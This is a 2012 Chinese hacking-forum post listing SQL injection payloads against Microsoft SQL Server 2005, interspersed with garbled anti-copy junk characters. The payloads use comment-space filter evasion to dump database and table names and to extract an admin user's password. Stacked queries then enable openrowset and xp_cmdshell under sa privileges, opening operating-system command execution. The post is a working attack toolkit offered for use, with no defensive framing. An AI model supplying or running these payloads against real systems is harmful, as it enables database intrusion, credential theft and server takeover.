找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2480|回复: 0
打印 上一主题 下一主题

MSsql2005注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:19:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

7 h) M8 e3 M, a2 J+ x7 W, {0 U: Y6 U
, Q  q9 `7 i6 \( N  c3 f- T
[Copy to clipboard]CODE:9 Y( o: k6 f- S! L; X+ r
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
, |. }+ g' A* X; u2 I+ O0 g( o6 O; ]. ?8 u- W% o5 @' a
爆表语句,somedb部份是所要列的数据库,红色数字1累加2 \7 F& _, O! h& ~3 F* x

- G0 ?2 G1 Z6 m' P4 ?& ^9 @) O+ I3 b- m# b) @6 p1 k% B! u
[Copy to clipboard]CODE:
: A# k- j' i/ Y! l/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
. {6 f2 i4 u' t) O1 S+ n' g* y
2 E0 j+ R+ q4 K7 \7 y9 l6 ^爆字段语句,爆表admin里user='icerover'的密码段8 `. f! j6 R( r7 f

' A, Z* f. p% g) s% y! _% G! A- |* U
[Copy to clipboard]CODE:
$ p  y. k! O% [/ d9 z' K# Z**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--3 }$ d/ ^7 S' {! f1 j$ t. L
0 P$ d1 e. b- G7 k8 c; V
mssql2005默认没有开xp_cmdshell的,openrowset也不能用
& h3 E# W! B9 r, G+ @) q4 D如果是sa权限,可以这样来开启5 u1 R+ {! f7 G: A# E1 |8 m8 [" T2 w8 T9 o. B
开启openrowset
% b1 h& w2 [# D( y: f; F3 u; F9 a  Q$ s8 T* C$ t2 q

3 ?9 a; ^1 {3 Q5 m4 _5 ~[Copy to clipboard]CODE:, W/ @' s- W3 J/ G
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
* y$ i5 ^) n7 O: c' P: z* Z/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
3 H( ?; P! G" X0 V; m7 Y
7 }  Y# x# r9 |0 G! n开启xp_cmdshell5 p- A6 I+ x+ @7 H
2 i; F7 `9 P6 e4 T2 X

* a( l* S: G  J& D7 t1 B0 u( o+ `3 m[Copy to clipboard]CODE:
6 l) w1 d& F5 y' k+ t* Q& sEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--# f' j  n- c+ X# p
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
- H. k9 w$ ~! b" G9 z; `- O! ?$ y2 j: S6 _* @
ok,over~~晚安
( b8 r5 s  B: A' K8 P) t# k3 O( ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表